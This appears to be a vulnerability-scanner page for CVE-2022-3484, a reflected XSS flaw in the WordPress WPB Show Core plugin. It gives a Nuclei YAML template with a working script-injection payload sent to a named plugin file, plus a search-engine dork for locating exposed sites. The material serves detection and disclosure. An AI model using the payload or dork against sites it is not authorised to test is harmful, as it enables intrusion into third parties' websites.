WordPress WPB Show Core - Cross-Site Scripting

ID: CVE-2022-3484

Severity: medium

Author: theamanrawat

Tags: cve,cve2022,wpscan,wp-plugin,wp,wordpress,xss,wpb-show-core,wpb_show_core_project

Description

WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2022-3484

info:
  name: WordPress WPB Show Core - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
  remediation: |
    Update to the latest version of the WPB Show Core plugin, which includes a fix for the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3afaed61-6187-4915-acf0-16e79d5c2464
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3484
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3484
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.45981
    cpe: cpe:2.3:a:wpb_show_core_project:wpb_show_core:-:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpb_show_core_project
    product: wpb_show_core
    framework: wordpress
    google-query: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
  tags: cve,cve2022,wpscan,wp-plugin,wp,wordpress,xss,wpb-show-core,wpb_show_core_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "wpb_jplayer_setting")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 490a00463044022050b68f6fa16d06ede97bdd7ce57075298622c2d96c5c0e141acac6316530b720022057c8dfed99c8fa3dd4bad6e7b668021289d0bf504604d49ea828968e26efdefe:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-3484.yaml"

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